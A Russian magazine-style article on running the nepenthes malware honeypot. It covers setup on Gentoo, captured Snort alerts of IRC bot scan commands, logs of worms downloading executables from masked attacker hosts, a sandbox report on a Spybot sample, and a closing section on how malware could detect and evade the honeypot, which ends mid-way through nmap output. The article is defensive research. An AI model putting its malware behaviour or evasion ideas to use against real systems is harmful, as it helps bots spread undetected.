Вот решил здесь для потомков разместить свою статью, которая выходила в журнале Хакер. [Вступление - Introduction] Начнем с того, что проясним и расскажем что именно подразумевается под этой несовсем знакомой многим технологии – malware honeypot. Для простоты и ради шутки изложения также будем называть далее по тексту malware – малварь (сетевая тварь, нечисть) или вредоносная программа, а honeypot – ханейпотом). Подобные штуки используют многие компании, выпускающие антивирусное ПО (ведь не все образцы заразы им на исследование по почте присылают) – пора и тебе узнать как они это делают. Чаще всего под ханейпотом для малвари подразумевается low-interaction honeypot, т.е ханейпоты слабого и среднего уровня взаимодействия и эмуляции “среды существования” червя, предназначенные для отлова всякого рода сетевой нечести, в том числе еще неизвестных модификаций уже известных червей, точнее червей, эксплуатирующих уже известные уязвимости, путем фейк-процесса заражения "виртуального" хоста. Первая реализация включает в себя использование «песочницы» (sandbox) (зачастую основанной на виртуальной машине, частично эмулирующей инфицируемую систему). Песочница имитирует операционную систему и запускает исполняемый файл в этой имитируемой системе, после чего анализирует изменения, характерные для вредоносных программ. После исполнения программы, антивирусное программное обеспечение анализирует содержимое песочницы на присутствие каких либо изменений, которые можно квалифицировать как присутствие вредоносной программы, и выдает подробный отчет пользователю. Существует, конечно, достаточно известная техника отлова сетевых червей, которую уже можно отнести к системе высокого уровня взаимодействия: то есть бананльно ставится виртуальная машина (vmware,quemu,bochs etc.) в которую помещается абсолютно чистая Windows с доступом в интернет, как вариант, подключается к локальной сети в виде ethernet-узла со своим IP (естественно, с этим возникает куча проблем - договор с провайдером и так далее) либо вариантом проще: поднятием NAT. Затем наружу транслируем порты вроде RPC DCOM(135), LSASS(445) и т.д. и соответственно порты для централизованного RAT-сервера (если ботамастер управляет червем по HTTP - чаще всего 80 порт, если по IRC - по большей части 6667 - конкретно об используемых backdoor-портах самых распространенных червей можно найти инфу на viruslist.com, хотя с этим тоже могут возникнуть проблемы, ввиду того, что каждый мастер волен повесить систему управления HTTP или IRC-ботнетом на любой порт, тогда мы можем нацелиться на отлов только определенного вида заразы. Далее по большому счету идет банальных сниффинг трафика и мониторинг сетевой активности в системе, ожидающий команды auth от ботмастера и влекущий за собой угон ботнета. Об этом уже писал Крис Касперски в одном из старых номеров Хакера. Главное отличие этой реализации от первых двух заключается в том, что она не столь автоматизированна и требует постоянного вмешательства наблюдателя, хотя и цели преследуются другие. Посему, вышеназванный метод сразу идет лесом: в провайдере, на сеть которого идет атака, никто не будет использовать столь ограниченную реализацию, да и угонять ботнет врядли кто из админов будет. Я ж по большей степени хочу прояснить ситуацию с тем, как именно это организуется Там, в админской обители Т.е. здесь речь идет о более крупномасштабных реализациях, которые создают "виртуальные хосты" в заданной подсети, а далее автоматически (ну или вручную) блокируют заданные адреса для всей подсети провайдера. Конечно же, тема с vmware и ей подобных не нова. Об этом много материала, далее продолжим без упоминания этого метода. [Пару слов об обнаружении ханипотов] А что насчет обнаружения и борьбы с подобными ловушками со стороны червя? О методах борьбы с ханипотами на основе vmware и еже с ней сказать особо нечего, точнее не будем повторяться. Антиотладка, обнаружение виртуальной машины, "антинаживки" и прочие классиеческие методы, о которых написано достаточно много - чего стоит только один раздел вирусологии на wasm.ru. Так как принцип работы ханипота заключается в эмуляции “среды существования” вирей, червяков, etc., то если в качестве ханипота используется реальный хост, с реальной ОС, боюсь, идентифицировать его будет весьма проблематично (читай, нетривиальная задача). Если же эта самая виртуальная среда ввиде хоста с бажными демонами эмулируется с помоющью honeyd, например, то обнаружить его можно анализируя отличия в поведении его tcp-ip стека и скриптов, создающих видимость работы различного рода серверного ПО на нем. Так, например, есть сканер, winnie, который может определять honeyd<=1.0. Вот тут лежит статья по этой теме: http://jon.oberheide.org/files/winnie.pdf Сам винни-пух лежит тут: http://jon.oberheide.org/projects/winnie/ Пожалуй, эта тема немного тухлая (точнее, применительна только к honeyd<=1.0), так как основанна на несоответствия реализации TCP/IP стека honeyd RFC. В более новых версиях эту “багу” уже пофиксили. Подробнее об этом можно почитать в вышеназванных источниках. [Продолжаем разговор] Надеюсь, до сих пор я ничего нового вам не рассказал, но, далее речь пойдет об достаточно простом в использовании и распространенных малварь-ханейпоте для *nix-систем, о котором во всемирной паутине информации маловато (про honeyd писать, конечно, не буду - тема избитая – сразу же бежим на www.securitylab.ru), расскажу лучше о пакете nepenthes с примером его настройки и установки для моей любимой системы Gentoo Linux. Кстати, интересующимся советую посетить сайт http://www.mwcollect.org/ - это что-то вроде проекта коллекции сетевой заразы, собранной не без помощи nepenthes и ее старшего брата HoneyBow Sensor. HoneyBow - это ханейпот высокого уровня имитации (или взаимодействия, если переводить дословно), в отличие от nepenthes. О HoneyBow, возможно, я расскажу когда-нибудь позже где-нибудь еще, так как рамки статьи не позволяют рассмотреть мне все системы одновременно. Что же, продолжим… [Червь или бот? Проблемы их обнаружения.] Для начала стоит отметить несколько важных фактов. Как червь, так и бот ведут себя, на первый взгляд, абсолютно одинаково: чаще всего целями атаки заразы являются машины под управлением Windows, поиск целей производится путем сканирования различных дипазонов сетей на предмет машин, использующих уязвимые сервисы и приложения. Конкретно уязвимый сервис или приложение обнаруживается по закрепленному за ним порту, после чего происходит попытка инфицирования. Главное различие между ботом и червем - то, что бот имеет некоторый центральный канал управления, который посылает команды на инфицированный компьютер – чаще всего для этого используется IRC- или HTTP-протокол. Деценрализованные ботнет сети (точнее боты, управляемые децентрализованно) или с нетрадиционными методами управления (ICQ, Jabber) обычно являются только концептами, ввиду того, что malware-разработчикам очень часто не хватает желания или умения создавать что-то новое – здесь лень не является двигателем прогресса. Однако, подробнее об нестандартных методах управления ботнетом можно почитать на сайте Hell Knights Crew в разделе Articles и Research Blog. Ну да что-то я отвлекся… Исходя из того, что бот действует только по приказу, вести себя он может очень даже тихо в течение достаточно длительного периода, и тогда он будет незаметен ни в системе, ни по загрузке канала, ни по сигналам IDS, обнаруживающей сканирование портов в подсети. В общем случае команда может выглядеть как на листинге 1. Листинг 1 #(3 - 1239214) [2007-01-07 03:39:49.297] [snort] BLEEDING-EDGE IRC Trojan Reporting (Scan) IPv4: yyy.yyy.112.37 -> zzz.zzz.31.37 hlen=5 TOS=0 dlen=168 ID=18140 flags=0 offset=0 TTL=128 chksum=56571 TCP: port=3023 -> dport: 8000 flags=***AP*** seq=1493328911 ack=511871482 off=5 res=0 win=64331 urp=0 chksum=51364 Payload: length = 128 000 : 50 52 49 56 4D 53 47 20 23 61 73 74 72 6F 20 3A PRIVMSG #astro : 010 : 5B 53 43 41 4E 5D 3A 20 52 61 6E 64 6F 6D 20 50 [SCAN]: Random P 020 : 6F 72 74 20 53 63 61 6E 20 73 74 61 72 74 65 64 ort Scan started 030 : 20 6F 6E 20 yy yy yy 2E yy yy yy 2E 78 2E 78 3A on yyy.yyy.x.x: 040 : 34 34 35 20 77 69 74 68 20 61 20 64 65 6C 61 79 445 with a delay 050 : 20 6F 66 20 35 20 73 65 63 6F 6E 64 73 20 66 6F of 5 seconds fo 060 : 72 20 30 20 6D 69 6E 75 74 65 73 20 75 73 69 6E r 0 minutes usin 070 : 67 20 32 30 30 20 74 68 72 65 61 64 73 2E 0D 0A g 200 threads... Хотя, в другом случае бот может получить команду на поиск уязвимых web-приложений (например, Mambo) и скриптов, например, через всеми любимый Google (ну или тот же Yahoo). И тогда IDS будет молчать как рыба: "PRIVMSG #ch :[GOOGLE] Trying to exploit http://www.example.com/index.php" Подводя промежуточные итоги: остается только один отправной пункт, на котором мы еще можем что-то успеть сделать, пока не стало поздно – отловить образец заразы во время факта заражения и принять меры, пока сетевая нечисть не начала действовать (например, на нервы), и пока гигабайты трафика не польются наружу в поисках новых юнитов для ботнета, в виде DDoS на какой-нибудь несчастный Интернет-ресурс или тьмы нескончаемых предложений что-нибудь купить для увеличения своего пениса, выучить английский, уклониться от налогов и спать спокойно... Уж тогда-то совсем будет поздно, а твой любимый snort только и будет верещать, как резанный поросенок. Страшно? - Мне тоже. Тогда читай дальше…
[Nepenthes] Nepenthes, как уже было сказано, это honeypot низкого уровня имитации, работающий под управлением *NIX-серверов и обеспечивающий достаточную функциональность для того, чтобы одурачить вредоносную начинку червя или бота, эмулируя стандартные Windows-сервисы. Nepenthes пытается загрузить вредоносный код заразы в свое хранилище, затем отправляет его на анализ в специальную песочницу коммерческого продукта Norman Sandbox, который эмулирует более 3000 WinAPI, инжектирование в процесс, многопоточность, множество сетевых протоколов (POP3, DNS, IRC, HTTP, ICQ, P2P) и т.д.. В ответ системный администратор по истечение короткого промежутка времени получает готовый отчет об действиях малвари на свой электронный адрес. После заражения, атакующий зловред может попросить nepenthes соединиться с некоторым адресом на некоторый порт, забиндить порт в системе, выполнить какую-либо команду в командной оболочке, скачать что-либо вкусное по заданному url или загрузить что-либо, используя некоторый механизм передачи файлов (link, blink, mydoom и тому подобные), а также с использованием ftp или tftp. Если зараза просит забиндить порт или запустить connectback, эмулятор выполняет все затребованные действия. В любом случае конечной целью сенсора будет загрузка чего-либо «вкусненького» в свое чрево для последующего анализа, причем это может быть не обязательно тело червя или self-spereading бота. Самым вкусным здесь будут шеллкоды. Hey, Guys, do you want 0-day stuff?! Но это еще не все, ведь можно и ботнет угнать, руководствуясь отчетом Norman Sandbox... Nepenthes получил свое имя достаточно метко – он назван в честь хищного растения-мухолова Nepenthes. Вдаваться в ботанику я не буду, если тебе действительно интересно, отправляйся на http://en.wikipedia.com за более подробной информацией. Конечно, тебе уже не терпится потрогать этот пакет своими руками. Пребилды или преконфигурированные пакеты есть для следующих систем: - Gentoo - Debian - FreeBSD - OpenBSD Для пользователей Debian требуется всего-навсего выполнить apt-get install nepenthes. Для Gentoo Linux это будет выглядеть как emerge nepenthes. Вот что требуется для установки: shados # emerge -pv --deep nepenthes These are the packages that would be merged, in order: Calculating dependencies... done! [ebuild N ] net-libs/adns-1.3 0 kB [ebuild N ] net-analyzer/nepenthes-0.2.0 USE="(-selinux)" 0 kB Total: 2 packages (2 new), Size of downloads: 0 kB Основными зависимостями для Linux являются библиотеки -libcurl (библиотека утилиты curl для передачи файлов по URL-соглашению) -libmagic (для определения типа файла) -libpcre (использование Perl-совместимых регулярных выражения) -libadns (для асинхронного резолвинга DNS) -libcap (предназначена для использования возможностей ядра) -libpcap (библиотека для дампа сетевых пакетов) Помио прочего для модуля honeytrap в Linux понадобится iptables, соответственно для FreeBSD – ipfw. Подробнее об установке зависимостей, да и вообще об установке, в т.ч для MacOS X и cygwin под Windows можно прочитать в Readme по nepenthes на официальном сайте. Теперь перейдем к настройке. Первым делом необходимо изменить некоторые параметры в файле /etc/nepenthes/nepenthes.conf, разкомментировав строку "submitnorman.so", "submit-norman.conf", "". Это позволит нам воспользоваться Norman Sandbox для получения копий результатов run-time анализа загруженных бинарников на твою электронную почту. Содержимое submit-norman.conf должно выглядеть примерно как на листинге 2. Листинг 1 submit-norman { // this is the address where norman sandbox reports will be sent email "[email protected]"; }; Естественно, что вместо моего адреса сдесь должен быть твой. Далее добавим nepenthes в автозагрузку на уровень default (для Gentoo): shados # rc-update add nepenthes default * nepenthes added to runlevel default [OK] shados # /etc/init.d/nepenthes start * Starting nepenthes ... [OK] Теперь сервис nepenthes будет автоматически стартовать при каждом перезапуске системы. Сразу после запуска в конфигурации по умолчанию nepenthes должен слушать большое количество TCP/IP портов, вроде тех, что указанны на листинге 3. Листинг 3 shados # netstat -pa | grep nepenthes tcp 0 0 *:imaps *:* LISTEN 7596/nepenthes tcp 0 0 *op3s *:* LISTEN 7596/nepenthes tcp 0 0 *:3140 *:* LISTEN 7596/nepenthes tcp 0 0 *:epmap *:* LISTEN 7596/nepenthes tcp 0 0 *:5000 *:* LISTEN 7596/nepenthes tcp 0 0 *:nameserver *:* LISTEN 7596/nepenthes ... Вывод урезан для удобства, но среди всех открытых портов ты обязательно обнаружишь твои любимые 445, 135, 3140, если, конечно, они не заняты чем-нибудь (например 135 – samba). Посему для целей ханейпота желательно использовать выделенную машину, а все явно светящиеся порты, не относящиеся к эмуляции Windows, необходимо извне прикрыть (-j DROP) с помощью iptables, т.к они могут выдать honeypot с ушами при обычном сканировании nmap'ом. Но об этом позже. Будем считать, что теперь все готово для использования, так как с остальными мелкими нюансами ты сам вполне сможешь разобраться, обажившись документацией и дотошно вкуривая man nepenthes и man nepenthes.conf (в часном случае аналогично info). Если, конечно, все свои изыскания ты проводишь в Интернете, а не в маленькой локалке, то через несколько минут (я после установки получил первый же образец malware уже через 1,5 минуты) сенсор nepenthes запишет в /var/log/nepenthes/logged_downloads и /var/log/nepenthes/nepenthes.log первую информацию (в зависимости от настройки ведения логов). Например, в logged_downloads можно будет увидеть записи наподобие листинга 4. Листинг 4 shados # tail -n 3 ./logged_downloads [2007-01-09T10:06:52] xxx.xxx.78.158 -> yyy.yyy.136.243 tftp://xxx.xxx.78.158/config.exe [2007-01-09T11:47:19] xxx.xxx.137.89 -> yyy.yyy.136.243 tftp://xxx.xxx.137.89/ctfmom.exe [2007-01-09T12:39:07] xxx.xxx.144.212 -> yyy.yyy.136.243 ftp://1:[email protected]:29154/eraseme_35862.exe Надеюсь, смысл записей здесь вполне понятен. Далее админу самому решать, блокировать ли эти адреса, или собирать коллекцию заразы, которая приходит с них. Все загруженные файлы хранятся в папке /var/lib/nepenthes/binaries с именами в виде их md5-сумм: shados # ls -lah -rw-r--r-- 1 nepenthes nepenthes 1.3M Dec 25 05:07 fa96d82f8a00d32ed140641153714715 -rw-r--r-- 1 nepenthes nepenthes 94K Jan 4 01:42 fdb99325e908b93da353cd2661823b7e -rw-r--r-- 1 nepenthes nepenthes 57K Dec 25 02:52 ff211ee0d9313bdaa1cdd9540955bd19 ... Каждый такой файл прямиком отправляется в песочницу к Норману , а в качестве отчета приходит письмо следующего содержания (например, для Backdoor.Win32.Rbot.gen IRC-бот): Листинг 5 nepenthes-eac5fd7b9d8172ecd1fc1a5d950e441e-MSSDEV.EXE : W32/Spybot.gen4 (Signature: W32/Spybot.BDAU) [ General information ] * File length: 141824 bytes. * MD5 hash: eac5fd7b9d8172ecd1fc1a5d950e441e. [ Changes to filesystem ] * Creates file C:\WINDOWS\SYSTEM32\MSSDEV.EXE. * Deletes file 1. [ Changes to registry ] * Creates value "iexplorers"="C:\WINDOWS\SYSTEM32\MSSDEV.EXE" in key "HKLM\Software\Microsoft\Windows\CurrentVersion\Run". * Creates value "iexplorers"="C:\WINDOWS\SYSTEM32\MSSDEV.EXE" in key "HKLM\Software\Microsoft\Windows\CurrentVersion\RunServices". * Creates key "HKCU\Software\Microsoft\OLE". * Sets value "iexplorers"="C:\WINDOWS\SYSTEM32\MSSDEV.EXE" in key "HKCU\Software\Microsoft\OLE". [ Network services ] * Looks for an Internet connection. * Connects to "irc.someserver.com" on port 1982 (TCP). * Connects to IRC Server. * IRC: Uses nickname ezkie. * IRC: Uses username ezkie. * IRC: Joins channel #<ИМЯ КАНАЛА> with password <ПАРОЛЬ>. * IRC: Sets the usermode for user ezkie to +i-x. * IRC: Uses nickname htpse. * IRC: Sets the usermode for user htpse to +i-x. * IRC: Uses nickname rvclf. * IRC: Sets the usermode for user rvclf to +i-x. * IRC: Uses nickname cpi. * IRC: Sets the usermode for user cpi to +i-x. * IRC: Uses nickname ern. * IRC: Sets the usermode for user ern to +i-x. [ Process/window information ] * Creates a mutex 1337bot. * Will automatically restart after boot (I'll be back...). [ Signature Scanning ] * C:\WINDOWS\SYSTEM32\MSSDEV.EXE (141824 bytes) : W32/Spybot.BDAU. Как видишь, для того, чтобы проанализировать бота не требуется никаких специальных знаний ассемблера и кропотливой работы с отладчиком, но она определенно более продуктивна, тем более что некоторые боты, наподобие Agobot применяют антиотладочные приемы для защиты или упакованы хитрым протектором. Хотя и здесь можно сделать финт ушами (или ход конем, смотря кому что нравится), просто отправив полученный бинарник на изучение к www.virustotal.com – бесплатному сервису сканирования бинарником множеством различных антивирусных продуктов. Однако столь подробный и полный отчет получить уже не удастся. Теперь пару слов в цифрах. В течение ровно одного месяца я непрерывно коллекционировал заразу, так что набрал аж 83 бинарника и ~30-40 различных шеллкодов. Около 40% из бинарников Norman Sandbox распознать не смог – сказались те самые защиты/антиотладка и/или фазы луны в четвертую пятницу месяца. Пришлось проверять весь букет Кашперовским. На скриншоте ты можешь видеть, что и в каком количестве блуждает по сети.
[Продолжаем разговор] А сейчас я тебе расскажу как научиться обнаруживать nepenthes и как научить червя не попадаться в ограниченное окружение песочницы для личного досмотра с пристрастием, а потом скажу пару слов о липком ханейпоте labrea и как он может задержать вирусную эпидемию. Отсюда начинается то, что ты, возможно, не читал в журнале «Хакер» №099 за Март 2007. О том, как наши спецы из Hell Knights занимались реверсингом того самого бота из листинга и еще много чего вкусного, к сожалению, а может и к счастью писать не буду, т.к. Про это написал Cytech в Апрельском журнале за номером 100. Копия статьи будет, конечно, размещенна и на hellknights.void.ru. [AntiAntidot] Начнём с одного очень простого урока: nepenthes – ханейпот, используемый на *nix машинах, но эмулирующий уязвимости windows. Соответственно, задача непопасться в лапы nepenthes сводится к тривиальной задаче иногда нетривиального определению типа удалёной операционной системы. К сожалению, в разработчиках вредоностного ПО я пока не состою, посему конкретных рекомендация по реализации давать не буду – фантазии тебе и так должно хватить, ведь не тянуть же за собой целый сканер вроде nmap, хотя тоже чем чёрт не шутит. Ниже для примера привожу логи сканирования nmap 4.20 – из них станет практически всё ясно: Листинг 6 shados-ws shados # nmap -sS -sV -O 172.22.1.27 172.22.1.6 172.22.1.11 Starting Nmap 4.20 ( http://insecure.org ) at 2007-02-01 16:00 MSK Warning: OS detection for 172.22.1.27 will be MUCH less reliable because we did not find at least 1 open and 1 closed TCP port Warning: OS detection will be MUCH less reliable because we did not find at least 1 open and 1 closed TCP port Interesting ports on host1 (172.22.1.27): Not shown: 1672 filtered ports PORT STATE SERVICE VERSION 21/tcp open ftp 25/tcp open smtp? 42/tcp open nameserver? 80/tcp open http? 110/tcp open pop3? 135/tcp open msrpc? 139/tcp open netbios-ssn? 143/tcp open imap? 220/tcp open imap3? 443/tcp open https? 445/tcp open microsoft-ds? 465/tcp open smtps? 993/tcp open imaps? 995/tcp open pop3s? 1023/tcp open netvenuechat? 1025/tcp open NFS-or-IIS? 2105/tcp open eklogin? 3372/tcp open msdtc? 5000/tcp open UPnP? 10000/tcp open snet-sensor-mgmt? 17300/tcp open kuang2? 4 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at http://www.insecure.org/cgi-bin/servicefp-submit.cgi : ==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)============== SF-Port21-TCP:V=4.20%I=7%D=2/1%Time=45C1E4D2%P=i586-pc-linux-gnu%r(NULL,27 SF:,"220\x20---freeFTPd\x201\.0---warFTPd\x201\.65---\r\n")%r(GenericLines SF:,5D,"220\x20---freeFTPd\x201\.0---warFTPd\x201\.65---\r\n530\x20You\x20 SF:are\x20not\x20logged\x20in\r\n530\x20You\x20are\x20not\x20logged\x20in\ SF:r\n")%r(Help,42,"220\x20---freeFTPd\x201\.0---warFTPd\x201\.65---\r\n53 SF:0\x20You\x20are\x20not\x20logged\x20in\r\n"); ==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)============== SF-Port139-TCP:V=4.20%I=7%D=2/1%Time=45C1E4D4%P=i586-pc-linux-gnu%r(GetReq SF:uest,40,"\x82\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0 SF:\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0")% SF:r(SMBProgNeg,40,"\x82\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0 SF:\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\ SF:0\0\0")%r(GenericLines,40,"\x82\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0 SF:\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\ SF:0\0\0\0\0\0\0\0")%r(HTTPOptions,40,"\x82\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\ SF:0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0 SF:\0\0\0\0\0\0\0\0\0\0\0\0")%r(RTSPRequest,40,"\x82\0\0\0\0\0\0\0\0\0\0\0 SF:\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\ SF:0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0")%r(RPCCheck,40,"\x82\0\0\0\0\0\0\0\0 SF:\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\ SF:0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0")%r(DNSVersionBindReq,40,"\x82\ SF:0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0 SF:\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0")%r(DNSStatusReq SF:uest,40,"\x82\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0 SF:\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0")% SF:r(Help,40,"\x82\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0 SF:\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" SF%r(SSLSessionReq,40,"\x82\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\ SF:0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0 SF:\0\0\0\0\0")%r(X11Probe,40,"\x82\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\ SF:0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0 SF:\0\0\0\0\0\0\0\0")%r(FourOhFourRequest,40,"\x82\0\0\0\0\0\0\0\0\0\0\0\0 SF:\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\ SF:0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0")%r(LPDString,40,"\x82\0\0\0\0\0\0\0\0\ SF:0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0 SF:\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0")%r(LDAPBindReq,40,"\x82\0\0\0\0 SF:\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\ SF:0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"); ==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)============== SF-Port2105-TCP:V=4.20%I=7%D=2/1%Time=45C1E545%P=i586-pc-linux-gnu%r(DNSVe SF:rsionBindReq,40,"\x82\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0 SF:\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\ SF:0\0\0")%r(GenericLines,40,"\x82\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0 SF:\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\ SF:0\0\0\0\0\0\0\0")%r(GetRequest,40,"\x82\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0 SF:\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\ SF:0\0\0\0\0\0\0\0\0\0\0\0")%r(HTTPOptions,40,"\x82\0\0\0\0\0\0\0\0\0\0\0\ SF:0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0 SF:\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0")%r(RTSPRequest,40,"\x82\0\0\0\0\0\0\0 SF:\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\ SF:0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0")%r(RPCCheck,40,"\x82\0\0\0\0 SF:\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\ SF:0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0")%r(DNSStatusRequest,40 SF:,"\x82\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\ SF:0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0")%r(Help, SF:40,"\x82\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\ SF:0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0")%r(SSL SF:SessionReq,40,"\x82\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0 SF:\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\ SF:0\0")%r(SMBProgNeg,40,"\x82\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0 SF:\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\ SF:0\0\0\0\0\0")%r(X11Probe,40,"\x82\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0 SF:\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\ SF:0\0\0\0\0\0\0\0\0")%r(FourOhFourRequest,40,"\x82\0\0\0\0\0\0\0\0\0\0\0\ SF:0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0 SF:\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0")%r(LPDString,40,"\x82\0\0\0\0\0\0\0\0 SF:\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\ SF:0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0")%r(LDAPBindReq,40,"\x82\0\0\0\ SF:0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0 SF:\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"); ==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)============== SF-Port17300-TCP:V=4.20%I=7%D=2/1%Time=45C1E549%P=i586-pc-linux-gnu%r(NULL SF:,C,"YOK2\0\0\0\0foo\x20")%r(GenericLines,C,"YOK2\0\0\0\0foo\x20")%r(Get SF:Request,C,"YOK2\0\0\0\0foo\x20")%r(HTTPOptions,C,"YOK2\0\0\0\0foo\x20") SF:%r(RTSPRequest,C,"YOK2\0\0\0\0foo\x20")%r(RPCCheck,C,"YOK2\0\0\0\0foo\x SF:20")%r(DNSVersionBindReq,C,"YOK2\0\0\0\0foo\x20")%r(DNSStatusRequest,C, SF:"YOK2\0\0\0\0foo\x20")%r(Help,C,"YOK2\0\0\0\0foo\x20")%r(SSLSessionReq, SF:C,"YOK2\0\0\0\0foo\x20")%r(X11Probe,C,"YOK2\0\0\0\0foo\x20")%r(FourOhFo SF:urRequest,C,"YOK2\0\0\0\0foo\x20")%r(LPDString,C,"YOK2\0\0\0\0foo\x20") SF:%r(LDAPBindReq,C,"YOK2\0\0\0\0foo\x20")%r(LANDesk-RC,C,"YOK2\0\0\0\0foo SF:\x20")%r(TerminalServer,C,"YOK2\0\0\0\0foo\x20")%r(NCP,C,"YOK2\0\0\0\0f SFo\x20")%r(NotesRPC,C,"YOK2\0\0\0\0foo\x20")%r(NessusTPv10,C,"YOK2\0\0\ SF:0\0foo\x20")%r(oracle-tns,C,"YOK2\0\0\0\0foo\x20"); MAC Address: 00:02:B3:B2:E5:9D (Intel) Device type: specialized|WAP|printer|general purpose|storage-misc|broadband router Running (JUST GUESSING) : Linux 2.6.X|2.4.X (95%), Siemens linux (92%), Xerox embedded (90%), Linksys Linux 2.4.X (89%), Asus Linux 2.4.X (89%), Maxtor Linux 2.4.X (89%), Atmel Linux 2.6.X (88%), Netgear embedded (87%) Aggressive OS guesses: Linux 2.6.12 on FOX embedded development board (95%), Siemens Gigaset SE515dsl wireless 